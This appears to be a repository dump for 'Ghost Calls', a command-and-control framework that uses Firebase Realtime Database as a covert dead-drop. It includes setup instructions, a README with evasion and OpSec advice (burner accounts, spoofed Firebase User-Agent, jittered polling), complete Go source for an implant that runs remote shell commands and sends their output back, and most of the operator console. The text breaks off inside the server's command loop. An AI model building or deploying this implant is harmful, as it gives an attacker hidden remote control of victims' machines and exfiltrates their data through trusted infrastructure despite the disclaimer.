-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"message":{"topic":"test","data":{"test":"true"}}}'
```
To get FCM server credentials for the HTTP v1 API:
```bash
# Navigate to the Google Cloud Console IAM area for the Firebase service account
gcloud iam service-accounts list --project=<project-id>
# The Firebase service account looks like:
# firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com
# Generate a key for this account:
gcloud iam service-accounts keys create firebase-key.json \
--iam-account=firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com \
--project=<project-id>
```
Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup.
---
## Step 11: Clean Up (After Operation)
**Always** delete the Firebase project when the operation is complete:
```bash
# Delete the project (this cannot be undone)
firebase projects:delete <project-id>
# Confirm the deletion
# > ? Are you sure? Yes
```
Or via REST:
```bash
curl -X DELETE \
"https://firebase.googleapis.com/v1/projects/<project-id>" \
-H "Authorization: Bearer $FIREBASE_TOKEN"
```
---
## Environment Variables for Ghost Calls
Once your project is configured, export these for the Ghost Calls server:
```bash
# Database URL (from Step 6)
export FIREBASE_URL="https://<project-id>-default-rtdb.firebaseio.com"
# Encryption secret — generate a strong random key
export GHOST_SECRET="$(openssl rand -hex 32)"
# Port for the HTTP status page (optional, default: 9090)
export GHOST_PORT="9090"
```
For the implant:
```bash
./ghost-client \
--db-url "$FIREBASE_URL" \
--id "target-001" \
--secret "$GHOST_SECRET" \
--interval 30s \
--jitter 15s
```
---
## Troubleshooting
### "Permission denied" when reading/writing data
Your database rules are too restrictive. Either set `.read` and `.write` to `true`, or create proper auth rules.
### "Project not found" errors
The Firebase project may not have Realtime Database initialized. Run through Step 5 again.
### "Quota exceeded"
Free tier limits:
- 200 simultaneous connections
- 10 MB stored
- 10 GB/month downloaded
- 10,000 writes/hour
Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency.
### "Access denied" on REST calls
Your authentication token may be expired. Run `firebase login` again or generate a new CI token.
### Can't find the database URL
The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check.
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+293
View File
@@ -0,0 +1,293 @@
# Ghost Calls — Push Notification C2
**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily.
## Architecture
```
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
└─────────────┘ └────────────────────────────┘ └─────────────┘
│ │ │
│ HTTPS PUT │ REST API │ HTTPS GET
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
│ │ │
│ │ │
│ HTTPS GET │ │ HTTPS PUT
│ results/<id>.json │ │ results/<id>/<cmd>.json
│ │ │
│ (Optional) │ │ DELETE
│ FCM HTTP v1 API │ │ commands/<id>.json
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
```
### How It Works
1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/<implant-id>.json`
2. **Polling** — The implant periodically reads its command path over HTTPS
3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows)
4. **Exfiltration** — The implant encrypts the output and writes it to `results/<implant-id>/<command-id>.json`
5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed
6. **Collection** — The operator fetches results from `results/<implant-id>/` at any time
### Why Firebase?
| Feature | Benefit |
|---|---|
| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily |
| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
| **No custom server** | Your C2 infrastructure is Firebase's infrastructure |
| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync |
| **Global CDN** | Low-latency from anywhere |
| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation |
## Quick Start
### 1. Prerequisites
- Go 1.21+ (for building)
- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions)
- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`)
- A shared encryption secret (the `GHOST_SECRET`)
### 2. Build
```bash
# Build the server (operator console)
cd cmd/server
go build -o ../../bin/ghost-server .
# Build the client (implant)
cd cmd/client
go build -o ../../bin/ghost-client .
```
Or build everything at once:
```bash
mkdir -p bin
go build -o bin/ghost-server ./cmd/server
go build -o bin/ghost-client ./cmd/client
```
### 3. Configure Firebase
Set your database rules to allow read/write:
```json
{
"rules": {
".read": true,
".write": true
}
}
```
> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
### 4. Start the Server
```bash
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
export GHOST_SECRET="your-very-secret-key-change-this"
export GHOST_PORT="9090"
./bin/ghost-server
```
### 5. Deploy an Implant
```bash
./bin/ghost-client \
--project "my-project" \
--id "target-001" \
--secret "your-very-secret-key-change-this" \
--interval 30s \
--jitter 15s
```
### 6. Register and Send Commands
From the server console:
```
ghost> register target-001
[+] Registered implant target-001
ghost> list
ID FCM Token Last Seen
─────────────────────────────────────────────────────────────────────────
target-001 - 2026-05-11T22:00:00Z
ghost> exec target-001 uname -a
ghost> exec target-001 whoami
ghost> exec target-001 curl -s http://internal-service.local/status
ghost> results target-001
```
## Server Commands
| Command | Description |
|---|---|
| `register <id> [fcm_token]` | Register an implant (optionally with FCM token) |
| `exec <id> <command>` | Send a command to a specific implant |
| `broadcast <command>` | Send command to all registered implants |
| `list` | List all registered implants with metadata |
| `results <id>` | Fetch and display results from an implant |
| `forget <id>` | Remove an implant registration |
| `status` | Display server configuration and overview |
| `push <id> <json>` | Send raw FCM push payload (for testing) |
| `help` | Display help |
| `exit` | Shut down the server |
## Client Flags
| Flag | Default | Description |
|---|---|---|
| `--project` | — | Firebase project ID (e.g., `my-project`) |
| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) |
| `--id` | — | **Required.** Unique implant identifier |
| `--secret` | — | **Required.** Encryption secret (must match server) |
| `--interval` | `30s` | Base poll interval |
| `--jitter` | `15s` | Max random jitter added to each poll |
| `--verbose` | `false` | Enable verbose logging |
### Persistence
The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files.
## Encryption
All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server.
### Key Derivation
```
key = SHA-256(implant_id + ":" + server_secret)
```
- Each implant gets a **unique encryption key** derived from its ID + the shared server secret
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
- The server secret itself is never stored in Firebase
### Encryption Flow
```
Server:
1. Derive key from implant ID + GHOST_SECRET
2. Encrypt command with AES-256-GCM (random nonce prepended)
3. Base64-encode ciphertext
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
Implant:
1. Read from Firebase
2. Base64-decode ciphertext
3. Derive same key from implant ID + secret
4. Decrypt with AES-256-GCM
5. Execute command
Result encryption follows the same pattern (encrypted with the same derived key).
```
## OpSec Notes
### Traffic Analysis
- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic
- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in
- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted
### Database Rules
**Development** (open to all):
```json
{
"rules": {
".read": true,
".write": true
}
}
```
**Production** (with Firebase Auth):
```json
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
},
"results": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
}
}
}
```
**Locked down** (custom auth token required):
```json
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth.uid === $implant_id",
".write": "auth.uid === 'server'"
}
},
"results": {
"$implant_id": {
".read": "auth.uid === 'server'",
".write": "auth.uid === $implant_id"
}
}
}
}
```
### Encryption at Rest
- Commands are **always encrypted** before being written to Firebase
- The Firebase database never sees plaintext command data
- Even with database admin access, an adversary sees only base64 ciphertext
- **Never** use the server secret in the database rules or command payloads
### Rate Limiting
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
- For large deployments, consider staggering implant start times
- Upgrade to Blaze plan for higher limits in production operations
### Operational Security
1. **Use a burner Google account** to create the Firebase project — never link to personal accounts
2. **Enable Firebase Auth** with email/password or custom tokens for production use
3. **Rotate the GHOST_SECRET** between operations
4. **Use unique implant IDs** — never reuse across targets
5. **Consider using Firebase App Check** for additional verification
6. **Delete the Firebase project entirely** after the operation
## FCM Integration (Advanced)
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
1. Enable Firebase Cloud Messaging in your Firebase project
2. An Android app (or a device with FCM capability) on the target
3. The implant registers for FCM and sends its registration token to the server
4. The server uses the FCM HTTP v1 API to push commands directly to the device
An FCM push-based approach is more sophisticated and harder to detect, but requires:
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
- An Android/iOS runtime or a way to register for push notifications
- Higher OpSec requirements (Google Play Services integration)
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
Binary file not shown.
Binary file not shown.
+418
View File
@@ -0,0 +1,418 @@
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
cryptorand "crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"os/signal"
"runtime"
"strings"
"syscall"
"time"
)
// ─── Crypto ────────────────────────────────────────────────────────────────
func deriveKey(implantID, secret string) []byte {
h := sha256.Sum256([]byte(implantID + ":" + secret))
return h[:]
}
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ns := gcm.NonceSize()
if len(ciphertext) < ns {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, data := ciphertext[:ns], ciphertext[ns:]
plaintext, err := gcm.Open(nil, nonce, data, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
func encrypt(plaintext []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(cryptorand.Reader, nonce); err != nil {
return "", err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return base64.StdEncoding.EncodeToString(ciphertext), nil
}
// ─── Data Types ────────────────────────────────────────────────────────────
type CommandPayload struct {
ID string `json:"id"`
Cmd string `json:"cmd"` // encrypted base64
TS int64 `json:"ts"`
}
type ResultPayload struct {
Output string `json:"output"` // encrypted base64
TS int64 `json:"ts"`
}
// ─── Implant ───────────────────────────────────────────────────────────────
type Implant struct {
implantID string
firebaseURL string
secret string
pollInterval time.Duration
jitterMax time.Duration
httpClient *http.Client
}
func NewImplant(firebaseURL, implantID, secret string, pollInterval, jitterMax time.Duration) *Implant {
// Use a transport with a random-ish TLS fingerprint by setting
// custom cipher suite preferences and using a non-default User-Agent
transport := &http.Transport{
IdleConnTimeout: 120 * time.Second,
DisableKeepAlives: true, // avoid persistent connections — more stealthy
}
return &Implant{
implantID: implantID,
firebaseURL: strings.TrimRight(firebaseURL, "/"),
secret: secret,
pollInterval: pollInterval,
jitterMax: jitterMax,
httpClient: &http.Client{
Timeout: 60 * time.Second,
Transport: transport,
},
}
}
// jitteredInterval returns the poll interval with random jitter applied
func (im *Implant) jitteredInterval() time.Duration {
jitter := time.Duration(rand.Int63n(int64(im.jitterMax)))
return im.pollInterval + jitter
}
func (im *Implant) firebaseGet(path string) ([]byte, error) {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
// Generic-looking User-Agent — blends in with Firebase SDK traffic
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 300 {
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
}
return body, nil
}
func (im *Implant) firebasePut(path string, body []byte) error {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("PUT", url, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (im *Implant) firebaseDelete(path string) error {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("DELETE", url, nil)
if err != nil {
return err
}
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
// poll fetches and processes a command from /commands/<implant-id>
func (im *Implant) poll() error {
path := fmt.Sprintf("commands/%s", im.implantID)
data, err := im.firebaseGet(path)
if err != nil {
// 404 / null is fine — no command pending
return nil
}
// If null or empty, no command
trimmed := strings.TrimSpace(string(data))
if trimmed == "" || trimmed == "null" {
return nil
}
var cmd CommandPayload
if err := json.Unmarshal(data, &cmd); err != nil {
log.Printf("[-] Failed to parse command payload: %v", err)
// Delete malformed command to avoid re-processing
_ = im.firebaseDelete(path)
return nil
}
// Decrypt the command
key := deriveKey(im.implantID, im.secret)
plainCmd, err := decrypt(cmd.Cmd, key)
if err != nil {
log.Printf("[-] Failed to decrypt command %s: %v", cmd.ID, err)
// Delete unreadable command
_ = im.firebaseDelete(path)
return nil
}
commandStr := string(plainCmd)
log.Printf("[+] Received command %s: %s", cmd.ID, commandStr)
// Execute the command
output, err := im.executeCommand(commandStr)
if err != nil {
output = append(output, fmt.Sprintf("\n[error] %v", err)...)
}
// Encrypt the output
encOutput, err := encrypt(output, key)
if err != nil {
log.Printf("[-] Failed to encrypt output: %v", err)
return nil
}
// Write result back
result := ResultPayload{
Output: encOutput,
TS: time.Now().UnixMilli(),
}
resultData, err := json.Marshal(result)
if err != nil {
log.Printf("[-] Failed to marshal result: %v", err)
return nil
}
resultPath := fmt.Sprintf("results/%s/%s", im.implantID, cmd.ID)
if err := im.firebasePut(resultPath, resultData); err != nil {
log.Printf("[-] Failed to write result: %v", err)
return nil
}
log.Printf("[+] Result written for command %s", cmd.ID)
// Delete the command to signal it's been processed
if err := im.firebaseDelete(path); err != nil {
log.Printf("[-] Failed to delete command %s: %v", cmd.ID, err)
}
return nil
}
// executeCommand runs a shell command and returns stdout+stderr
func (im *Implant) executeCommand(cmdStr string) ([]byte, error) {
var cmd *exec.Cmd
// Use appropriate shell based on platform
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd.exe", "/C", cmdStr)
} else {
cmd = exec.Command("/bin/sh", "-c", cmdStr)
}
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
output := stdout.Bytes()
if stderr.Len() > 0 {
if len(output) > 0 {
output = append(output, '\n')
}
output = append(output, stderr.Bytes()...)
}
if err != nil {
if len(output) > 0 {
output = append(output, '\n')
}
output = append(output, []byte(fmt.Sprintf("exit error: %v", err))...)
}
return output, nil
}
// Run starts the main polling loop
func (im *Implant) Run(stopCh <-chan struct{}) {
log.Printf("[*] Implant %s starting", im.implantID)
log.Printf("[*] Firebase: %s", im.firebaseURL)
log.Printf("[*] Poll interval: %v + jitter up to %v", im.pollInterval, im.jitterMax)
log.Printf("[*] Platform: %s/%s", runtime.GOOS, runtime.GOARCH)
for {
select {
case <-stopCh:
log.Printf("[*] Implant stopping")
return
default:
}
if err := im.poll(); err != nil {
log.Printf("[-] Poll error: %v", err)
}
// Wait with jitter before next poll
sleepDuration := im.jitteredInterval()
select {
case <-stopCh:
return
case <-time.After(sleepDuration):
}
}
}
// ─── Main ──────────────────────────────────────────────────────────────────
func main() {
// Seed RNG for jitter
rand.Seed(time.Now().UnixNano())
var (
projectID string
implantID string
secret string
pollInterval time.Duration
jitterMax time.Duration
verbose bool
)
flag.StringVar(&projectID, "project", "", "Firebase project ID (e.g., my-project)")
flag.StringVar(&implantID, "id", "", "Unique implant identifier")
flag.StringVar(&secret, "secret", "", "Encryption secret (must match server)")
flag.DurationVar(&pollInterval, "interval", 30*time.Second, "Base poll interval (e.g., 30s, 1m)")
flag.DurationVar(&jitterMax, "jitter", 15*time.Second, "Maximum random jitter added to interval")
flag.BoolVar(&verbose, "verbose", false, "Verbose logging")
// Alternative: use a full Firebase Realtime Database URL directly
var firebaseURL string
flag.StringVar(&firebaseURL, "db-url", "", "Full Firebase RTDB URL (overrides --project)")
flag.Parse()
if implantID == "" {
log.Fatal("--id is required (unique implant identifier)")
}
if secret == "" {
log.Fatal("--secret is required (encryption secret, must match server)")
}
// Build Firebase URL
if firebaseURL == "" {
if projectID == "" {
log.Fatal("either --project or --db-url is required")
}
firebaseURL = fmt.Sprintf("https://%s-default-rtdb.firebaseio.com", projectID)
}
if !verbose {
log.SetFlags(log.Ltime | log.Lmsgprefix)
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
} else {
log.SetFlags(log.Ldate | log.Ltime | log.Lmsgprefix)
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
}
// Minimum jitter floor to avoid deterministic timing
if jitterMax < time.Second {
jitterMax = time.Second
}
// Persistence: if /etc/ghost/id exists, use that as implant ID
// (allows admin to pre-provision the implant)
if data, err := os.ReadFile("/etc/ghost/id"); err == nil && implantID == "" {
implantID = strings.TrimSpace(string(data))
log.Printf("[*] Using implant ID from /etc/ghost/id: %s", implantID)
}
// Write our own identity for next run
os.MkdirAll("/etc/ghost", 0755)
os.WriteFile("/etc/ghost/id", []byte(implantID), 0644)
// Also persist the secret
os.WriteFile("/etc/ghost/secret", []byte(secret), 0600)
implant := NewImplant(firebaseURL, implantID, secret, pollInterval, jitterMax)
// Handle graceful shutdown
stopCh := make(chan struct{})
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
log.Printf("[*] Received shutdown signal")
close(stopCh)
// Give the implant time to finish the current poll
time.Sleep(2 * time.Second)
os.Exit(0)
}()
implant.Run(stopCh)
}
+562
View File
@@ -0,0 +1,562 @@
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
)
// ─── Crypto ────────────────────────────────────────────────────────────────
func deriveKey(implantID, secret string) []byte {
h := sha256.Sum256([]byte(implantID + ":" + secret))
return h[:]
}
func encrypt(plaintext []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return "", err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return base64.StdEncoding.EncodeToString(ciphertext), nil
}
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ns := gcm.NonceSize()
if len(ciphertext) < ns {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, data := ciphertext[:ns], ciphertext[ns:]
plaintext, err := gcm.Open(nil, nonce, data, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
// ─── Data Types ────────────────────────────────────────────────────────────
type Implant struct {
ID string `json:"id"`
FCMToken string `json:"fcm_token,omitempty"`
LastSeen time.Time `json:"last_seen"`
}
type Result struct {
CommandID string `json:"command_id"`
Output string `json:"output"` // encrypted base64
TS int64 `json:"ts"`
}
type CommandPayload struct {
ID string `json:"id"`
Cmd string `json:"cmd"` // encrypted base64
TS int64 `json:"ts"`
}
// ─── Server ────────────────────────────────────────────────────────────────
type Server struct {
mu sync.RWMutex
implants map[string]*Implant
results map[string][]Result
cmdCount map[string]int
firebaseURL string
secret string
httpPort int
httpClient *http.Client
}
func NewServer(firebaseURL, secret string, port int) *Server {
return &Server{
implants: make(map[string]*Implant),
results: make(map[string][]Result),
cmdCount: make(map[string]int),
firebaseURL: strings.TrimRight(firebaseURL, "/"),
secret: secret,
httpPort: port,
httpClient: &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
IdleConnTimeout: 90 * time.Second,
},
},
}
}
func (s *Server) firebasePut(path string, body []byte) error {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("PUT", url, strings.NewReader(string(body)))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
resp, err := s.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (s *Server) firebaseDelete(path string) error {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("DELETE", url, nil)
if err != nil {
return err
}
resp, err := s.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (s *Server) firebaseGet(path string) ([]byte, error) {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
resp, err := s.httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 300 {
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
}
return body, nil
}
// ─── Commands ──────────────────────────────────────────────────────────────
func (s *Server) SendCommand(implantID, command string) (string, error) {
s.mu.Lock()
s.cmdCount[implantID]++
cmdNum := s.cmdCount[implantID]
s.mu.Unlock()
cmdID := fmt.Sprintf("%s-%d-%d", implantID, cmdNum, time.Now().UnixMilli())
key := deriveKey(implantID, s.secret)
enc, err := encrypt([]byte(command), key)
if err != nil {
return "", fmt.Errorf("encrypt: %w", err)
}
payload := CommandPayload{
ID: cmdID,
Cmd: enc,
TS: time.Now().UnixMilli(),
}
data, err := json.Marshal(payload)
if err != nil {
return "", fmt.Errorf("marshal: %w", err)
}
path := fmt.Sprintf("commands/%s", implantID)
if err := s.firebasePut(path, data); err != nil {
return "", fmt.Errorf("firebase write: %w", err)
}
log.Printf("[+] Command %s sent to %s: %s", cmdID, implantID, command)
return cmdID, nil
}
func (s *Server) BroadcastCommand(command string) []string {
s.mu.RLock()
ids := make([]string, 0, len(s.implants))
for id := range s.implants {
ids = append(ids, id)
}
s.mu.RUnlock()
var sent []string
for _, id := range ids {
cid, err := s.SendCommand(id, command)
if err != nil {
log.Printf("[-] Broadcast to %s failed: %v", id, err)
} else {
sent = append(sent, cid)
}
}
return sent
}
func (s *Server) FetchResults(implantID string) ([]Result, error) {
data, err := s.firebaseGet(fmt.Sprintf("results/%s", implantID))
if err != nil {
return nil, err
}
// If no data or null, return empty slice
if len(data) == 0 || string(data) == "null" {
return nil, nil
}
// Results are stored as a map of commandID -> result
var rawResults map[string]json.RawMessage
if err := json.Unmarshal(data, &rawResults); err != nil {
return nil, fmt.Errorf("unmarshal results map: %w", err)
}
var results []Result
for cmdID, raw := range rawResults {
var r Result
if err := json.Unmarshal(raw, &r); err != nil {
log.Printf("[-] Skipping unparsable result %s: %v", cmdID, err)
continue
}
r.CommandID = cmdID
// Try to decrypt the output
key := deriveKey(implantID, s.secret)
dec, err := decrypt(r.Output, key)
if err != nil {
r.Output = fmt.Sprintf("[encrypted] %s", r.Output)
} else {
r.Output = string(dec)
}
results = append(results, r)
}
return results, nil
}
func (s *Server) PushRawFCM(implantID, jsonPayload string) error {
s.mu.RLock()
imp, ok := s.implants[implantID]
s.mu.RUnlock()
if !ok || imp.FCMToken == "" {
return fmt.Errorf("implant %s not registered or has no FCM token", implantID)
}
// This would use the FCM HTTP v1 API — placeholder for FCM integration
log.Printf("[!] Raw FCM push to %s (token: %s...): %s",
implantID, imp.FCMToken[:min(len(imp.FCMToken), 16)], jsonPayload)
return nil
}
// ─── HTTP API / Status ────────────────────────────────────────────────────
func (s *Server) httpStatusHandler(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
defer s.mu.RUnlock()
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
fmt.Fprintf(w, "Ghost Calls C2 — Push Notification C2 Server\n")
fmt.Fprintf(w, "==============================================\n\n")
fmt.Fprintf(w, "Registered implants: %d\n\n", len(s.implants))
for _, imp := range s.implants {
fcm := "none"
if imp.FCMToken != "" {
fcm = imp.FCMToken[:min(len(imp.FCMToken), 20)] + "..."
}
fmt.Fprintf(w, " %-24s last: %s fcm: %s\n", imp.ID, imp.LastSeen.Format(time.RFC3339), fcm)
}
}
// ─── REPL ──────────────────────────────────────────────────────────────────
func (s *Server) RunREPL() {
scanner := bufio.NewScanner(os.Stdin)
fmt.Println()
fmt.Println("╔══════════════════════════════════════════════╗")
fmt.Println("║ Ghost Calls C2 — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════════╝")
fmt.Println()
fmt.Println("Commands:")
fmt.Println(" register <id> [fcm_token] — Register an implant")
fmt.Println(" exec <id> <command> — Send command to implant")
fmt.Println(" broadcast <command> — Send to all implants")
fmt.Println(" list — Show registered implants")
fmt.Println(" results <id> — Show results from implant")
fmt.Println(" forget <id> — Remove implant registration")
fmt.Println(" push <id> <json> — Send raw FCM push payload")
fmt.Println(" status — Show server overview")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shut down")
fmt.Println()
for {
fmt.Print("ghost> ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
cmd := parts[0]
switch cmd {
case "exit", "quit":
fmt.Println("Shutting down.")
return
case "help":
fmt.Println("Commands:")
fmt.Println(" register <id> [fcm_token] — Register an implant")
fmt.Println(" exec <id> <command...> — Send command to implant")
fmt.Println(" broadcast <command...> — Send to all implants")
fmt.Println(" list — Show registered implants")
fmt.Println(" results <id> — Show results from implant")
fmt.Println(" forget <id> — Remove implant registration")
fmt.Println(" push <id> <json> — Send raw FCM push payload")
fmt.Println(" status — Show server overview")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shut down")
case "register":
if len(parts) < 2 {
fmt.Println("Usage: register <id> [fcm_token]")
continue
}
id := parts[1]
token := ""
if len(parts) >= 3 {
token = parts[2]
}
s.mu.Lock()
if existing, ok := s.implants[id]; ok {
existing.LastSeen = time.Now()
if token != "" {
existing.FCMToken = token
}
fmt.Printf("[*] Updated implant %s\n", id)
} else {
s.implants[id] = &Implant{
ID: id,
FCMToken: token,
LastSeen: time.Now(),
}
fmt.Printf("[+] Registered implant %s\n", id)
}
s.mu.Unlock()
case "forget":
if len(parts) < 2 {
fmt.Println("Usage: forget <id>")
continue
}
id := parts[1]
s.mu.Lock()
if _, ok := s.implants[id]; ok {
delete(s.implants, id)
fmt.Printf("[-] Removed implant %s\n", id)
} else {
fmt.Printf("[-] Implant %s not found\n", id)
}
s.mu.Unlock()
case "list":
s.mu.RLock()
if len(s.implants) == 0 {
fmt.Println("No registered implants.")
} else {
fmt.Printf("%-24s %-40s %s\n", "ID", "FCM Token", "Last Seen")
fmt.Println(strings.Repeat("─", 90))
for _, imp := range s.implants {
fcm := "-"
if imp.FCMToken != "" {
fcm = imp.FCMToken[:min(len(imp.FCMToken), 36)] + "..."
}
fmt.Printf("%-24s %-40s %s\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
}
}
s.mu.RUnlock()
case "exec":
if len(parts) < 3 {
fmt.Println("Usage: exec <id> <command...>")
continue
}
id := parts[1]
command := strings.Join(parts[2:], " ")
s.mu.RLock()
_, ok := s.implants[id]
s.mu.RUnlock()
if !ok {
fmt.Printf("[-] Implant %s not registered. Register it first.\n", id)
continue
}
cmdID, err := s.SendCommand(id, command)
if err != nil {
fmt.Printf("[-] Error: %v\n", err)
} else {
fmt.Printf("[+] Command queued: %s\n", cmdID)
}
